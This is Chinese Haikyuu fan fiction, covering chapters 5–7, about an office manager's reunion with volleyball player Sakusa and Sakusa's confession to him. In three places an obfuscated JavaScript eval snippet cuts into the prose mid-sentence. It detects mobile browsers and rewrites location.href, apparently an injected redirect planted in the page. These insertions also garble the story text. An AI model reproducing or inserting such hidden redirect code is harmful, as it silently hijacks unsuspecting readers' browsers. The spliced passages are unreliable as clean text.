“是吧,一开始入职的时候就觉得很棒,脸也很棒。” “不知道有没有结婚啊。” “好像没结婚哦,现在好像还是独居呢。” “那岂不是还有机会。” 路过的中村组长听到了茶水间的闲聊,转头看向坐在玻璃房办公室里的如月瑞树。 呦,部长,你的魅力四射啊。 “中村组长,部长让把这个给你处理。” 中村看着递过来的文件夹,指了指自己的黑眼圈:“还给我处理,黑眼圈已经到下巴了哦。” “那是你晚上熬夜去KTV熬出来的吧。” “诶,被发现了。” 中村只能接下文件,其实处理部长的文件是非常轻松的,因为需要纠结的地方都已经有了对方的判断,自己只要按照流程将一切整理归纳好就行。 下班时间到了之后,中村一直观察着如月,看着对方开始收拾手提包的时候,他也开始收拾,等如月走到电梯的时候,正好遇到了中村。 中村今年刚满三十岁,平时喜欢唱歌,KTV常客,这是大家都知道的事情。 如月瑞树刚进公司那会,中村还是瑞树的前辈,整个人的状态很差,公司的氛围在上一任部长的管理下并不好。 他本以为中村会很快辞职,但到了现在他都还在。 “中村组长。”瑞树一手拎着手提包,另一只手机显示在跟别人发信息,抬眼看着中村,点头打了声招呼。 “部长好。”中村的声音中气十足,五官端正,比较传统的美男子长相,但是眼下带着些许青黑。 两人一前一后走进电梯,然后并肩站着。 瑞树很高,看起来像模特,穿着挺拔的西装,面上架着非常显稳重的黑框眼镜,中村只有一米六九,西装搭在手臂上,白衬衫领口系着的领带松松垮垮的。 中村的余光落在如月瑞树的身上,看着他单手发着信息。 “部长有女朋友吗?” “诶?”瑞树看向面带笑意的中村,有些意外。 “没有。” “男朋友呢?”中村又问道。 瑞树看着手机屏幕上的最近的佐久早圣臣cut,手指顿了顿,依旧摇头。 “这样啊,公司里不少女同事都对您有意思呢。”中村笑着抓了抓自己的头发。 “虽然不反对,但是我并不不会搞办公室恋情。” 中村抓着头发的手顿住了,片刻之后才回答道:“这样啊,真是可惜啊……” 瑞树看了看中村的侧脸,总感觉他的那句“可惜”里带着别的意思,但他并没有什么兴趣去追问。 电梯到了一楼,两人从电梯里走出来,瑞树要去赶电车,按照以往的习惯,中村应该会去最近的KTV,但是今天他却跟着瑞树去了车站。 瑞树默认他们是一起的,然后一前一后的走进了车厢。 瑞树身材高大,别人挤不动他,中村就有些可怜了,瑞树瞥了他一眼,然后单手按住了他的肩膀,将他端到了一处略显空荡的角落。 “抱歉,前辈,自作主张了。”瑞树有时候还是会叫中村“前辈”的,没有什么特殊的意思。 中村摆了摆手,移开了注视着如月瑞树的视线,嘴角带着笑。 “啊,没关系。” 中村喜欢如月瑞树,虽然除了中村没人知道。 如月先一步下了电车,离开之前跟中村告了别,中村挂着那副一如既往的漫不经心说了声再见。 电车很快就离开了站台,车厢里的人越来越少,中村找了个空位坐了下来,双肘压在膝盖上,手掌捂着脸。 嘛,下次试着邀请他去KTV吧。 * “快点起来吃饭!” “刚下班的我现在一点力气都没有,请忽略我的存在吧。” 沙绪里看着倒在沙发上的大人,转头向父亲发出求救的目光。 笑眯眯的父亲悠闲的喝着茶,假装什么都没听到。 沙绪里知道,只要是自己爸爸妈妈说的话瑞树是一定会听的,但自己的话对方会直接的选择性听取。 “瑞树,必须要早点吃饭哦,快凉了。” 沙发上的瑞树笑嘻嘻的爬了起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432986|169249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后坐到饭桌前。 “爸爸,他没洗手!” “嗨嗨嗨,我现在就去!” 洗完手的瑞树坐回饭桌抱怨着自己在公司里遇到的破事,沙绪里听得眉头直皱。 “别把外面的烦恼带回来啊。” “可是你们明天就走了吧,平时都没人听我抱怨的,就这一次啊……”瑞树格外可怜的样子。 沙绪里责怪的话语瞬间哽在了喉咙里,她吃软不吃硬,这种时候就别指望她能做出什么凌厉果断的事情了。 沙绪里和爸爸第二天早上走的,瑞树把两人送到了车站,然后回去收拾收拾准备上班。 也许西装就是封印,上班时候的瑞树和平常的瑞树完全不一样。 昨天还想着今天要邀请如月去KTV的中村今天就喜提了加班,不过加班的不止他一个人,还有如月和其他同事。 “这次接到了代理,虽然不是我们的主要业务,但确是从排协那边联系过来的,甲方是有名的V1俱乐部黑狼。” 提到黑狼大家都有些难以置信,毕竟知道他们公司厉害,但没想到居然厉害到可以做黑狼那边的代理。 会议之后,同事们讨论着彼此喜欢黑狼里面的谁。 各种熟悉的名字传到了跟中村谈工作的瑞树耳朵里,他听到了好几道不同的声音念出“佐久早圣臣”的声音。 “部长,你喜欢谁啊?”谈话的同事们将兴奋的目光投递到了瑞树身上。 “……日向翔阳。”如月瑞树没有抬头看向他们,只不过翻动着纸张的手指僵硬了一瞬。 “啊,居然是hinata,真没想到啊。” “本以为部长会喜欢佐久早那样的。” 如月瑞树抬起头有些意外的问:“为什么你们觉得我会喜欢佐久早?” 如月瑞树其实是有点无措的,难道自己看起来就跟佐久早很般配吗? 大家并没有注意到他的奇怪,只是客观的说出自己的感觉。 “因为部长看起来跟佐久早一样完美稳重。” “嗯,偶像跟粉丝的角度来看,部长和佐久早好像磁场很合的样子。” “部长也看排球啊。”中村颇为意外的问道。 “嗯,偶尔会看。” 其实是每天都会看,关于黑色狐狼的,关于佐久早圣臣的,关于排球的,他都会了解,甚至闲的没事去考了排球裁判证…… 关于黑狼那边的工作安排,直接接触的人并不多,出面的也只有瑞树、中村,还有瑞树的助理。 现在是休赛期,但最近黑狼那边是有集训的,外出的话可能会影响之后的行程,所以就需要他们么这边上门。 工作内容主要就是黑色狐狼俱乐部的相关推广铺到国外的排球界,虽说黑色狐狼已经很有名了,但是每年还是要在推广商花费很多钱的。 俱乐部多少都带着商业属性,短暂的销声匿迹、球员的劣迹、管理层的疏忽等等都会给俱乐部带来损失,所以,俱乐部不仅要在球员培养方面花功夫,更要在运营方面下血本。 只是黑狼这边的负责人也没想到,日本东京分公司的部长居然这么年轻。 “你好,我是Aurora东京分公司的企划部部长如月瑞树。” “您您好,我是黑色狐狼的经理人,这是我的名片。” 两人交换了名片之后就直接进入了工作的正题,瑞树也随着对方的带领进入了黑狼基地。 只是没想到,只是刚进来就遇到了大喊大叫的宫侑。 染着白金发色的男人回头看向来的陌生人,看一圈没看到对方的摄影机。 他还以为是前天来采访的记者终于记起还有自己这号人,所以来补录的呢。 日本的分公司这边主要是做品牌投资和跨国代理,主要的业务是前者,大型活动里出现的各种品牌广告需要专业的投资预估,这个时候就要找到比较靠谱的公司进行各方面的分析。 但这次,他们要做的是跨国代理,黑狼那边的合作代理出了问题,在紧急情况下找到了他们, 5. 第 5 章 “宫侑,我这边在接待客人,你和助理去其他地方玩去。” “不是玩!我想要采访,前天那个!” 那是宫侑老家的电视台,为什么他老家的电视台也采访木兔和日向而不采访他这个本地人。 经理人回头抱歉的看了一眼如月,然后带着人不理会宫侑直接走了。 宫侑看着忽略了自己的经理,像只跳脚的狐狸一样乱蹦。 如果他上了老家的电视台的话,就一定会出现在饭团宫的电视机上…… “不好意思啊,我们的球员虽然性格迥异,但是在球场上都是非常靠谱的。”经理擦了擦额头的冷汗,硬着头皮说道 如月笑着点头,实际上已经想起了年前宫侑在赛场上的全垒打。 “我们这边的计划是通过贵公司在海外市场的了解来进行海外网络上的推广。” “最近在国外没有比赛吗?”瑞树询问道。 “本来是有的,但也不怕您笑话,之前的代理公司在推广上出现了问题,导致黑狼在国外有了不少争议,所以现在也不是比赛的好时机,只能暂时搁置,如果您这边进展的顺利比赛会继续参加的,时间也不会耽误。” 如月瑞树想了想,还是如实跟对方说了目前的风险:“网络推广的风险很大,推广力度过小没有效果,过大则有可能产生反效果,就目前的情况我并不建议您这边采取以网络推广为主的方法。” 经理带着瑞树去了会议室,两边进行了详谈,最初敲定了比较稳妥的方法。 既然是推广黑狼,那便要从黑狼的现役成员下手。 黑狼俱乐部所有成员的资料都送到了如月的手里,中午他们留下吃了午饭,下午的时候,三人就在经理的带领下深入的了解黑狼,方便之后的计划执行。 到了训练场的时候,几人站在看台边缘上,经理为他们介绍着场馆的规模配置,以及下方训练的人。 佐久早圣臣的手臂上带着黑色的薄款护肘,隐约能看到他白皙的手臂曲线,排球落地的声音在空旷的场馆中回荡,咚咚的,隐隐和心跳同频。 佐久早似乎没有注意到看台上的人,但是他扣球时的状态还是能让人察觉到一些异常的。 上午还在闹脾气的宫侑此时此刻已经整理好心情站在球场上了。 宫侑看着佐久早扣下的那一球眯了眯眼睛,嘴角荡漾带着奇异香气的笑容,像是沾上了乡土气息的狡猾猎手。 “圣臣——”宫侑略显悠扬的声线轻轻响起,即便在东京待了这么久也没有改掉的腔调里带着许多让人不禁多想的调笑。 佐久早回头看向他,疑惑他为什么要叫住自己。 “下一球,我还会传给你的呐。” 佐久早没有对宫侑的任性表现出任何情绪,甚至没有皱起眉,只是平静的看着他,然后说道:“我知道了。” 这场短暂的练习赛MVP毫无疑问是佐久早,而在场上没怎么扣到球的日向和木兔顶着两双豆豆眼站在一边眼巴巴的看着宫侑。 练习赛结束了,看台上的人鼓起了掌,众人才发现经理带着三个陌生人站在看台边看着他们的比赛。 佐久早也看了过去,视线落在如月瑞树的身上,对上他视线的瑞树又产生了想要逃跑的心思,但很快就被压了下去。 自己已经不是过去的那个如月瑞树了,已经不是了哦…… “如月,你来了。” “佐久早君好久不见。”经理、中村和旁边的部长助理对两人居然认识感到诧异。 宫侑此时此刻也凑了过来,站在场中好奇地抬头打量着如月瑞树。 原来佐久早兴奋剂长这样啊,看起来有点古板诶。 “他是谁?”宫侑小声问。 “高中同学。” “诶?只是高中同学吗?” 佐久早不说话,一个眼神都没给宫侑。 “名字呢?” “如月……瑞树。”佐久早勉强应付着这个麻烦的家伙,下一秒就为自己告诉他瑞树名字的行为感到了后悔。 “瑞树君,要不要下来试试排球。”宫侑抱着排球十分自来熟的叫着。 经理在旁边无力的捂脸,哪里有人见面第一天就叫人名字的啊…… 有的兄弟有的,他宫侑就是一个。 佐久早瞥了一眼旁边的宫侑,吓得宫侑脊背发凉。 佐久早跟如月瑞树认识了这么多年还只是叫姓氏,这个玩意儿上来就叫名字? 毫不胆怯,继续要求着瑞树,那笑意盈盈的样子完全让人想不到他上午在走廊上跟助理耍小脾气的样子。 中村和瑞树的主意已经有些心动了,旁边的经理看着如月也要求他下去跟球员们接触一下,说不定会有更好的了解,实际上他是被宫侑的举动弄得下不来台了。 瑞树回头,年轻的小助理眼中一片向往,中村也看着下方的球场,有些意动。 “那就下去看看吧,不过不要冒犯了大家。” “好的部长!” 部长?宫侑竖着耳朵偷听,他现在对如月瑞树的好奇早就已经超过了对佐久早会用管道疏通剂把自己做成腌菜的恐惧。 瑞树脖子上还挂着蓝带通行证,身上的西装一丝不苟,佐久早看着他从通道里走出来,然后一脚绊倒了正要冲上去的宫侑。 佐久早弯腰拿起地上的排球,缓缓走了上去。 旁边豆豆眼日向/木兔:“侑侑!不要死啊!” 宫侑要是没了就没人给他们托球了。 日向和木兔滑到宫侑身边抱着他痛哭流涕,中村站在经理身边黑眼圈似乎更浓郁了。 “这么问有些冒昧,但还是想请教您一下,您这些年的头发是怎么保养的?” 经理面上满满的都是苦涩,他看着中村:“其实……” 中年男人摸了摸自己的头发,然后——掀——开——了—— “是假发来着。” 中村大受震撼,一时间真后悔自己张了张嘴问了不该问的事情。 他真该死啊。 阿德利亚和犬鸣在跟瑞树的助理交流,他比较年轻,但头脑还是很不错的,瑞树就随他去了。 看着走到自己面前的佐久早,如月瑞树似乎都能听得到自己的心跳。 “上次的签名很抱歉,一会给你。” “没关系的,毕竟是集训嘛,可以理解的。” 佐久早看着如月瑞树,将排球递给了他:“我教你。” 瑞树接过排球,抚摸着这颗带着佐久早体温的圆球,呼吸有些迟滞。 “真是麻烦你了。” 佐久早转过身,回头看一眼瑞树:“没必要这么客气,这里的人都叫我圣臣,你可以这么叫。” 瑞树抿着唇,在佐久早的视线里无论如何也开不了口。 “佐久早君,可以开始了吗?排球!”瑞树举起手里的球,中气十足的话题扯到别的地方。 “嗯。” 其实瑞树会打排球的,甚至说在普通人里还不错。 手表、外套都放在了一边,白衬衫的袖口被卷到手臂上,佐久早站在旁边看着他的姿势。 “你很喜欢排球吗?”佐久早问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432987|169249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “其实很一般……”喜欢的是某个打排球的人。 “你的动作很标准。”佐久早在夸人,但没人意识到他是在夸人。 瑞树垫球很稳,看样子是以前下过功夫的,一边的中村想凑过来跟瑞树接触,但却被爬起来的宫侑一脚给绊倒了。 宫侑笑眯眯的上前道歉,把人扶起来之后又拉着人去一边谈起了排球的历史。 中村几次想去瑞树身边都被这位异常难缠的大明星给制止了,隐约间,中村有了危机感。 不过,部长喜欢的球员不是日向翔阳吗? 旁边跟木兔训练接球特技“胸口式”的日向打了个喷嚏。 “感冒了?” “不知道,我去量个体温,木兔桑一起吗?” “好吧,我也去测量一下吧,不过我绝对很健康!” “不愧是木兔桑!” 佐久早跟瑞树一边聊天一边打着排球,他没从瑞树身上发现什么异样,直到自己给他托球的时候。 瑞树扣球时手腕的角度是错误的,但是佐久早只是看着并没有直接说出口,只是停止了托球,静静地看着他。 瑞树被他看的有些不自在,他不知道发生了什么,但隐约又产生了想逃走的心思。 如果被佐久早发现自己对他抱有的感情,他可能连朋友都做不成了。 “高中毕业的时候,在走廊上你为什么要跑?”佐久早问。 遥远的记忆如同一场噩梦,但现在导致这一切的罪魁祸首却在问他为什么,如果瑞树是个自私阴暗的家伙,他绝对会把一切的不快都推到佐久早身上,但很可惜,他不是。 “那天……我可能打扰到你了吧,和女朋友,很可爱哦……抱歉。”瑞树只是觉得那天自己必须要跑走,要不然一定会发生什么让他吓破胆的。 佐久早捡起脚边的排球,伸出了自己的手腕,向他演示着。 “扣球的时候,手腕的角度要这样来。” “嗯。” 两人又将注意力放到了排球上,但隐藏在平静的表象之下的是什么就不得而知了。 等傍晚的时候佐久早跟经理一起将人送离开了,佐久早回去的时候却在走廊看到了宫侑。 佐久早皱着眉,一脸的不想跟他说话。 宫侑双手插在口袋里,笑眯眯的看着他掠过自己要离开的背影。 “那个中村,好像对你那个朋友有意思哦,而且他们还是同事。” 佐久早的脚步顿住,宫侑以为自己拿捏住了什么,挂着笑意的脸却在看到佐久早回头看他的表情时顿住了。 “所以呢?” 佐久早唇角带着笑,眼尾都带着与平时截然相反的温柔。 “你生病了么?要我叫救护车吗?”宫侑迅速掏出手机。 “没有。”佐久早收回视线离开了。 宫侑一个人表情诧异的站在那里,想不懂圣臣到底怎么了,来看起来像是脑子坏掉了一样、 实际上佐久早很正常,很冷静,甚至说,心情非常不错。 在当他看到瑞树扣球时手腕的姿势时他就清楚,如月瑞树一直注视着他,甚至清楚佐久早圣臣在球场上扣球时的手腕角度,清楚他们的过去…… 他甚至记得高三那个走廊上拦住自己告白的那个女生的长相,明明作为当事人的佐久早除了瑞树逃跑的背影什么都不记得了。 那种灵魂被洗涤的感觉再次出现了,就好像是春日的风从他的胸腔穿过,带着清爽的温度和植物的芳香。 至于中村什么的,瑞树是不会选择的。 6. 第 6 章 黑狼内部是很看重球员本的作风的,作为年轻气盛的球员最担心的就是他们的个人情感问题,所以,无论是谈恋爱还是结婚都必须提前告知黑狼的舆情部门。 如月拿到的资料里有关于这部分的,除了几位前辈已经有了家室,其余几位均处于单身状态,包括佐久早。 毕业后第一天见他是在今年暮夏的居酒屋前,那个雨夜距离现在已经过去快四个月,这四个月没有任何实感,就好像一场午间的休息。 如月没想到公司会跟黑狼那边合作,也没想到这段时间会跟佐久早继续接触。 那天从黑狼基地离开的时候佐久早给了他一份签名,但瑞树并没有把签名寄给沙绪里,也没有告诉她。 如月很少把工作带回自己的住处,但最近的情况让他不得不抓住一切时间。 茶几上凌乱的摆放着各种档案资料,如月仰躺在沙发上,手里举着那份签名。 佐久早很贴心啊,他用了一个看起来很精致的签名板,摸起来很结实,给人一种很想将它供起来的感觉。 佐久早圣臣的签名一笔一划,方方正正,隐约能窥见笔锋。 如月坐起身,看着手中的签名,心中默默对沙绪里说了句抱歉,然后光着脚站起身,走进了自己的房间。 明明是自己的房间但他的举动看起来却像是在做贼一般。 衣柜最里侧的门被打开了,里面摆放着各种关于黑狼15号的周边。 如月把签名放在了正中间,然后站在衣柜前看了许久。 又过了几天,如月刚到公司就接到了黑狼那边的电话,主要还是关于工作这边的事情,但打电话来的是佐久早。 如月瞥了一眼手机界面,镜片之后的眼睛轻轻垂下。 其实从电话里听佐久早的声音是一种很奇妙的感觉,低沉平稳的声线被电磁波包裹着,有一丁点难以捕捉的失真。 “如月,你什么时候有空?” “我这边要看工作安排,是黑狼那边的事情吗?” “不是,是我的事情,我想跟你见一面。” 如月的身体一瞬间僵住了,佐久早的呼吸很浅,他沉默着等待如月的回答。 “你不是在集训吗?” “特殊情况,我会好好请假的。” 和佐久早的从容相比,如月则显得有些无措。 “我这边的话,这周日吧……” 如月的话刚落下,佐久早的声音就传了过来,似乎是在担心他后悔。 “那就周六晚上,时间和地点我会定,注意邮箱。” “……好。” 佐久早听着对面的声音,余光注意到了趴在角落头顶的木兔宫侑和日向。 “那就周六见,如月,再见。” 对面大概回应了他的“再见”,佐久早听着那道声音缓缓将手机扣了下来。 “再见”是一个饱含美好期许的词,不管是英语,还是日语,又或者是其他国家的语言,不管任何人。 佐久早将手机放好,转头看向躲在角落里的人,仰着下巴皱起了眉。 “你们在做什么?”男人清晰的声线刮得三人脊背发寒,然后乖巧的从角落里滚了出来。 “是侑侑说有好事的。”木兔毫不犹豫的将罪魁祸首指了出来。 佐久早看着旁边的一脸“我什么都没做”的宫侑,抬手指向一边:“日向,你带着木兔去一边待着,一会儿再算你们的账。” “诶?算账吗?我去拿账本……”日向连忙拉住要去拿账本的木兔。 “木兔桑,不是账本,是另一个账本,电视里不是经常出现的吗?” 日向和木兔离开了,休息室里就只剩下佐久早和宫侑。 宫侑作为二传手能够敏锐地观察到攻手的身体状态和情绪状态,那天的佐久早给他的感觉很不一样。 “宫……”佐久早走到宫侑身边,对背着宫侑的脸上蒙着一层浓郁的阴翳。 “下次再被我发现你偷偷关注我的事情,我就把你夜里说的梦话录音发给宫治。” 宫侑吓得牙齿打颤,他看着佐久早,满脸的悔恨。 “我不可能说梦话!”嘴硬如宫侑,打死也不承认。 佐久早拿出手机,放出了某段录音,里面正是宫侑咿咿呀呀的梦话,其内容集中在他的同胞兄弟宫治身上。 证据确凿,打死宫侑他也不想让治知道自己做梦念叨他的名字。 “对不起,我不该偷偷好奇你跟瑞树的事情,请原谅我。”宫侑急的团团转。 佐久早却在他话刚落下就点击了发送,他没有宫治的联络方式,但是他有东日本造纸(EJP)角名伦太郎的联系方式,发给他也是一样的,宫侑面如死灰。 “No——”角名知道了就等于全世界都知道,那个阴险狡诈的小眼睛boy绝对会用这些把柄勒索他的。 佐久早放下手机,看着宫侑,似乎从他的痛苦中汲取到了一丝丝愉悦。 “宫,不要叫他瑞树,这是警告。” 宫侑咬着牙:“下次叫他如月君。” “不,你下次见到他不准跟他搭话。” 宫侑感觉自己的尊严已经碎了一地了。 黑狼这边发生的事情瑞树一点都不知道,他在思考佐久早叫自己出去是做什么,他又应该准备些什么呢? 不是约会,搞得特别隆重的话很不好,但对方是佐久早,还是认真一点比较好。 如月坐在自己的办公室里,双手垫在下巴处,心中想的全部都是关于下次见面时应该做的准备。 中村站在办公室门前,抬手敲了敲。 “请进。”如月回神,看向中村,瞬间又回到了那个在职场上冷静稳重的如月部长。 “部长,这个是他们那边统计的开支项目,跟我们这边预估的差不多,核对结果需要签字。” 如月拿起手边的笔,另一只手接过中村递过来的文件。 中村的视线落在了如月的手上,和正常男士的手差不多,但也许一直从事办公室工作,他的肤色偏白,白皙的皮肤裹着指骨,看起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432988|169249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来像是工匠制作出来的人偶手掌。 他跟大多数男人似乎总是不一样的,日本的大多数男性是比较矮的,就像自己,但如月很高,站在那里不动的时候挺拔的像一棵树,他不会像其他人那样哈哈大笑,高兴时只是轻抿嘴唇,像是夏天的细雨,带着湿漉漉的温热。 如月工作上稳重可靠,任何情况下,无论遇到怎样的困难都不会逃避…… 中村想,除了他大概没什么人能完美到这种地步了吧。 “签好了。”如月又看了一遍文件,确定没问题之后才落笔签字。 中村接过如月递过来的文件,并没有离开。 如月抬头看着他,以为他还有别的事情。 “部长这周日有空吗?” “嗯,有点事情要处理。” “这样啊,真是遗憾,本想邀请你一起去KTV。” 中村的语气里带点漫不经心,让人拿不准他是在开玩笑还是在认真,如月听到了也笑了笑。 “下次吧,下次的部门团建就定在KTV吧。” 中村拿着文件的指尖泛白,笑着点点头。 “嗯,那我先走了。” 如月瑞树没看出中村的心思,他眼中,中村只是同事,同事的话就只要关注上下级关系和工作就好了,其余的都不在他的关注之中。 很快就到了周日,如月本想着要好好收拾一下,但他这两周都在加班,就算是休息日也闲不下来,今天他将工作推掉了一部分,就算是这样时间也一样有些赶。 他刚从公司跑出来,看了看手表,站在路边打了车就往约定地点赶。 打开车门钻出来,如月被外面骤降的温度刺的一哆嗦,只不过这个时候也想不了这么多了。 瑞树穿着皮鞋,西装,和一件灰色的羊毛大衣,拎着手提包在最后的这段路上跑着。 冷风将他额前的发丝向后凌乱的拢起,透过镜片的视线随着奔跑的幅度摇摇晃晃。 他觉得自己现在真的糟糕透了…… 道路两边的灯光越来越稀疏,脚下的小路也有一半隐匿在黑暗中,似乎一不小心就会掉进深邃的黑暗之中。 等佐久早的背影出现在晃动着的视野里时,瑞树稍稍松了口气。 他靠在桥边站着,一条算不上多宽广的河道从他站的那条桥下穿过,远处映着灯火却没有照到佐久早的身上。 他站在那里像是失落文明中的古董宝石,复杂晦涩,却价值连城。 佐久早看向了瑞树,看着他额前因为奔跑而翻起的发丝和歪了的黑框眼镜。 “抱歉,我迟到了!”如月瑞树撑着膝盖,暗自庆幸自己以前玩田径的底子还在。 佐久早看了看手表:“没有迟到,还有十分钟才到我们约定的时间。” 夜晚的气温冷了许多,佐久早记得今天会下雪,虽然到现在他都没见到雪的影子,但他还是戴上围巾和口罩。 两个人站在桥上,看着桥下穿过的流水,一股凉意子自河边上吹来,寂静在空气中弥漫。 7. 第 7 章 “我没有交过女朋友,那天在球场上你说的那个也不是我喜欢的人。” 瑞树眼睫颤了颤:“……这样啊。” “你不说点什么吗?”佐久早双手插在口袋里,视线从河面上收回落到如月瑞树的脸上。 “抱歉,我不知道应该说些什么?” “问问我喜欢的人是谁之类的。”佐久早的声音低沉平稳,带着从容的娓娓道来。 “那,你喜欢的人是谁?”瑞树笑扶了扶镜框着看向他。 佐久早对上他的视线,黝黑深邃的眼瞳中映着瑞树身后的灯光和灯光前面的瑞树。 “我喜欢如月瑞树,从高二开始喜欢,抱歉,现在才告诉你。” 东京的夜空里中漂浮着光污染的光、灰尘、飞鸟和刚刚落下的白雪,一簇簇,晃晃悠悠落到了他们身边。 “佐久早……” “是玩笑吗?” “我看起来很像是在开玩笑吗?” 佐久早摘下口罩,走进一步,让对方能将自己的表情看的更清楚。 昏暗的光线下,两人仿佛被黑暗包裹的茧,自成一片温热的氛围。 “不管你喜不喜欢我,愿不愿意对我的表白做出回应都没有关系,我只是不想让这份喜欢渐渐变成我人生最大的遗憾……” 佐久早的视线缓缓垂下,额前发丝落下的阴影笼罩住了他的双眼,眉上的两颗痣影影绰绰。 “‘随时都可以结束’在毕业之后就很难说出口了,至少我不要在结束的时候还没有跟你说清楚。” 佐久早抬起视线,看着瑞树的眼睛,轻轻抿唇。 “下雪了。” 瑞树恍惚间好像看到了他的笑,像蜻蜓点水。 佐久早伸出手摘下了自己的围巾,递给了瑞树。 瑞树看着递过来的深蓝色围巾,缓缓抬手接住。 从天上扬下的雪和佐久早的那些话将他的身体冻僵了,不管是□□还是灵魂,宛若荒芜大地上的游魂,不知道应该为春天的降临做出什么样的反应。 “早点回去吧,今天晚上的雪会很大。” 佐久早说话时,身体的温度变成了一阵阵浅浅的白气,起起伏伏消失在冷空气中。 就像是佐久早说的那样,雪越来越大了,佐久早也转身离开了,瑞树站在桥上,握着那条围巾,看着被雪遮住的视野,张了张嘴。 不要…… 握着那条围巾,瑞树朝着佐久早离开的方向追了过去。 手提包被他扔在了路边,脚步踏着刚落地的新雪,急促的呼吸化作裹着温度的白雾在空气中起起伏伏。 “佐——久——早——!” 人类畏惧自然,畏惧死亡,畏惧自然,畏惧天才,畏惧直视暗恋人的眼睛,畏惧一切自己无法接受的事情,如月瑞树清楚自己本质的懦弱和胆小,但他最畏惧的只于佐久早相关…… 佐久早没有继续打自己喜欢的排球,佐久早从自己的人生中消失…… ‘能遇到他真是太好了,就算让他现在死掉也没关系。’ ‘很抱歉那个时候逃跑了。’ ‘我也喜欢你。’ 好想告诉他。 肺部的空气不断的挤压,雪花落在他的镜片上,又在呼出的白气中化作水珠,发丝被冰冷的空气揉的凌乱。 急促的脚步声渐渐停在身后,伴着不平稳的喘息。 公园的长椅上坐着一个人,在路灯的映照下,雪像夏日的小飞虫乱糟糟的飞舞着。 男人握着那条围巾缓缓走到长椅后,站在佐久早的身后侧。 “佐久早,就像是做梦一样。” “梦到自己喜欢的人也喜欢着自己,梦见即便他转身离开也会在前方某个地方等着自己。” 冰冷的空气让他的嗓音嘶哑,还带奔跑留下的气音。 “其实……我以为能在你面前保住自己的体面,但到最后每次都被我搞砸……对不起,我一直都喜欢着你,但却连告白的勇气都没有。” “能和你认识真是太好了,能和你成为同学,能和你在毕业之后再见真是太好了。” “还有,谢谢你的围巾,我会珍藏一辈子的。” “……戴在脖子上啊。” 佐久早站起身,转过身看着他。 “嗯……嗯!”瑞树将围巾裹在脖子上。 “今天是十一月十八日。” “?” “明年的今天是一周年纪念日,好好记下。” 路灯的光线很亮,雪花的形状被映照的无比清晰,与繁多的雪花相比,站在路灯下的两个人却又显得有些渺小。 “我现在可以哭吗?” “笑起来吧。” * “小池,怎么了?” “北村把足球踢到了树上,够不下来了,如月,能拜托你帮一下忙吗?” “嗯。” 穿着西装校服的两个少年,一高一矮,匆匆从走廊穿过,朝着操场边的樱花树林走去。 北村将外套扔到了树下,手里拿着一个树枝努力够着卡在树杈上的足球。 “啊,好高啊。” 如月瑞树抬手遮着阳光,朝着树上看去。 黑白色的球体藏在簇簇粉白色的樱花后面,看起来倒是有几分风雅。 “怎么办?要爬上去吗?”小池看向北村。 “这么高,摔下来会很要命吧,马上要考试了不是吗,要好好保重身体啊。”如月看了看周围,视线越树林看到了后面的体育馆。 “去排球部借个梯子怎么样?” “不要!”北村最近有点不喜欢排球部,小池和如月对视一眼无奈的耸了耸肩。 最近足球部和排球部有点小矛盾,北村作为足球部的一员自然也对排球部有些看法。 “毕竟是没办法的事情啊,我们学校排球部很强来着,我可是听说的哦,被叫做‘王者’的啊。”如月看着树上的球,语气中带着些许无奈。 今天的风不大,但是学校里的樱花已经开了一段时间了,算起来也到了凋谢的时候,花瓣落在轻轻飘荡着三人身上。 “瑞树,不要灭自己志气长他人威风啊!你可是我的好兄弟!”北村指着如月的鼻子一脸的不服气。 “嗨嗨嗨,好兄弟,想好怎么把你的宝贝足球拿下来了吗?” 北村皱着鼻子,视线在小池和如月之间游走,小池似乎察觉到了什么,连忙出声阻止: “叠罗汉这种只会出现在漫画里的事情千万不要拿出来实践。” 被否决的北村只能尽可能想着其他的办法,直到他的余光看到了那件被自己扔到草地上的校服外套。 “有了!瑞树,你把鞋给我。” “诶?一定要用我的鞋吗?你的不能吗?” “不行不行,我要把球弄下来,没鞋可不行。” 小池看着站在头上顶着几片粉白色花瓣的如月有点想笑。 如月只能将自己口袋里的手帕献祭出来,弯腰将手帕铺在草地上,然后将皮鞋脱掉,轻轻踩在手帕上。 “……踩在草地上啊你这个混蛋,一点都没有男子气概。” “北村君,不管是身高还是掰手腕我都更胜你一筹哦。”如月踩在手帕上,把自己的皮鞋扔给了北村。 北村用自己的外套包住如月的鞋子,裹成一个球,瞄准了树上的球砸去。 小池站在如月身边,看着挂在树上的外套和鞋子,眨了眨眼睛。 